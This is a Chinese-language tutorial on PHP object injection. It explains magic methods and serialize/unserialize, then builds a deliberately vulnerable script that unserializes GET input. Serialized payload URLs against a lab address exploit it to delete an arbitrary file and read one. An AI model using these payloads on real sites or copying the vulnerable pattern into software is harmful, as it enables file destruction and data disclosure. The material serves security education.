理解php序列化漏洞

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PHP对象注入是一个非常常见的漏洞,这个类型的漏洞虽然有些难以利用,但仍旧非常危险。为了理解这个漏洞,请读者具备基础的php知识。类和变量是非常容易理解的php概念。举个例子,1.php在一个类中定义了一个变量和一个方法。它创建了一个对象并且调用了PrintVariable函数,该函数会输出变量variable。

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<?php
class TestClass
{
// 一个变量
public $variable = 'This is a string';
// 一个简单的方法
public function PrintVariable()
{
echo $this->variable;
}
}
// 创建一个对象
$object = new TestClass();
// 调用一个方法
$object->PrintVariable();
?>

php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号开头的,比如 construct, destruct, toString, sleep, wakeup等等。这些函数在某些情况下会自动调用,比如construct当一个对象创建时被调用,destruct当一个对象销毁时被调用,toString当一个对象被当作一个字符串使用。为了更好的理解magic方法是如何工作的,在2.php中增加了三个magic方法,construct, destruct和toString。可以看出,construct在对象创建时调用,destruct在php脚本结束时调用,__toString在对象被当作一个字符串使用时调用。

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<?php
class TestClass
{
// 一个变量
public $variable = 'This is a string';
// 一个简单的方法
public function PrintVariable()
{
echo $this->variable . '<br />';
}
// Constructor
public function __construct()
{
echo '__construct <br />';
}
// Destructor
public function __destruct()
{
echo '__destruct <br />';
}
// Call
public function __toString()
{
return '__toString<br />';
}
}
// 创建一个对象
// __construct会被调用
$object = new TestClass();
// 创建一个方法
$object->PrintVariable();
// 对象被当作一个字符串
// __toString会被调用
echo $object;
// End of PHP script
// 脚本结束__destruct会被调用
?>

php允许保存一个对象方便以后重用,这个过程被称为序列化。为什么要有序列化这种机制呢?在传递变量的过程中,有可能遇到变量值要跨脚本文件传递的过程。试想,如果为一个脚本中想要调用之前一个脚本的变量,但是前一个脚本已经执行完毕,所有的变量和内容释放掉了,我们要如何操作呢?难道要前一个脚本不断的循环,等待后面脚本调用?这肯定是不现实的。serialize和unserialize就是用来解决这一问题的。serialize可以将变量转换为字符串并且在转换中可以保存当前变量的值;unserialize则可以将serialize生成的字符串变换回变量。让我们在3.php中添加序列化的例子,看看php对象序列化之后的格式。

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<?php
// 某类
class User
{
// 类数据
public $age = 0;
public $name = '';
// 输出数据
public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age
. ' years old. <br />';
}
}
// 创建一个对象
$usr = new User();
// 设置数据
$usr->age = 20;
$usr->name = 'John';
// 输出数据
$usr->PrintData();
// 输出序列化之后的数据
echo serialize($usr);
?>

为了使用这个对象,在4.php中用unserialize重建对象。

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<?php
// 某类
class User
{
// Class data
public $age = 0;
public $name = '';
// Print data
public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}
// 重建对象
$usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');
// 调用PrintData 输出数据
$usr->PrintData();
?>

magic函数construct和destruct会在对象创建或者销毁时自动调用;sleep magic方法在一个对象被序列化的时候调用;wakeup magic方法在一个对象被反序列化的时候调用。在5.php中添加这几个magic函数的例子。

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<?php
class Test
{
public $variable = 'BUZZ';
public $variable2 = 'OTHER';
public function PrintVariable()
{
echo $this->variable . '<br />';
}
public function __construct()
{
echo '__construct<br />';
}
public function __destruct()
{
echo '__destruct<br />';
}
public function __wakeup()
{
echo '__wakeup<br />';
}
public function __sleep()
{
echo '__sleep<br />';
return array('variable', 'variable2');
}
}
// 创建对象调用__construct
$obj = new Test();
// 序列化对象调用__sleep
$serialized = serialize($obj);
// 输出序列化后的字符串
print 'Serialized: ' . $serialized . '<br />';
// 重建对象调用__wakeup
$obj2 = unserialize($serialized);
// 调用PintVariable输出数据
$obj2->PrintVariable();
// 脚本结束调用__destruct
?>

现在我们了解序列化是如何工作的,但是我们如何利用它呢?有多种可能的方法,取决于应用程序、可用的类和magic函数。记住,序列化对象包含攻击者控制的对象值。你可能在Web应用程序源代码中找到一个定义wakeup或destruct的类,这些函数会影响Web应用程序。例如,我们可能会找到一个临时将日志存储到文件中的类。当销毁时对象可能不再需要日志文件并将其删除。把下面这段代码保存为logfile.php。

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<?php
class LogFile
{
// log文件名
public $filename = 'error.log';
// 储存日志文件
public function LogData($text)
{
echo 'Log some data: ' . $text . '<br />';
file_put_contents($this->filename, $text, FILE_APPEND);
}
// 删除日志文件
public function __destruct()
{
echo '__destruct deletes "' . $this->filename . '" file. <br />';
unlink(dirname(__FILE__) . '/' . $this->filename);
}
}
?>

这是一个使用它的例子。

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<?php
include 'logfile.php';
// 创建一个对象
$obj = new LogFile();
// 设置文件名和要储存的日志数据
$obj->filename = 'somefile.log';
$obj->LogData('Test');
// 脚本结束__destruct被调用somefile.log文件被删除
?>

在其它脚本中我们可能找到一个unserialize的调用,并且参数是用户提供的。把下面这段代码保存为test.php。

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<?php
include 'logfile.php';
// ... 一些使用LogFile类的代码...
// 简单的类定义
class User
{
// 类数据
public $age = 0;
public $name = '';
// 输出数据
public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}
// 重建用户输入的数据
$usr = unserialize($_GET['usr_serialized']);
?>

创建利用代码111.php。

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<?php
include 'logfile.php';
$obj = new LogFile();
$obj->filename = '1.php';
echo serialize($obj) . '<br />';
?>

访问http://192.168.153.138/test.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:5:"1.php";}

显示已经删除了1.php。验证一下,果然成功删除了。

这就是漏洞名称的由来:在变量可控并且进行了unserialize操作的地方注入序列化对象,实现代码执行或者其它坑爹的行为。先不谈 wakeup 和 destruct,还有一些很常见的注入点允许你利用这个类型的漏洞,一切都是取决于程序逻辑。举个例子,某用户类定义了一个toString为了让应用程序能够将类作为一个字符串输出(echo $obj),而且其他类也可能定义了一个类允许toString读取某个文件。把下面这段代码保存为test.php。

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<?php
// … 一些include ...
class FileClass
{
// 文件名
public $filename = 'error.log';
// 当对象被作为一个字符串会读取这个文件
public function __toString()
{
return file_get_contents($this->filename);
}
}
// Main User class
class User
{
// Class data
public $age = 0;
public $name = '';
// 允许对象作为一个字符串输出上面的data
public function __toString()
{
return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}
// 用户可控
$obj = unserialize($_GET['usr_serialized']);
// 输出__toString
echo $obj;
?>

访问http://192.168.153.138/test.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}

但是如果我们用序列化调用FileClass呢?先建立一个1.txt。

创建利用代码123.php。

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include 'test.php';
$fileobj = new FileClass();
$fileobj->filename = '1.txt';
echo serialize($fileobj);
?>

访问http://192.168.153.138/test.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:5:"1.txt";}

成功显示了文本内容。也可以使用其他magic函数:如果对象将调用一个不存在的函数call将被调用;如果对象试图访问不存在的类变量get和__set将被调用。但是利用这种漏洞并不局限于magic函数,在普通的函数上也可以采取相同的思路。例如User类可能定义一个get方法来查找和打印一些用户数据,但是其他类可能定义一个从数据库获取数据的get方法,这从而会导致SQL注入漏洞。set或write方法会将数据写入任意文件,可以利用它获得远程代码执行。唯一的技术问题是注入点可用的类,但是一些框架或脚本具有自动加载的功能。最大的问题在于人:理解应用程序以能够利用这种类型的漏洞,因为它可能需要大量的时间来阅读和理解代码。

原文链接:http://blog.csdn.net/qq_32400847/article/details/53873275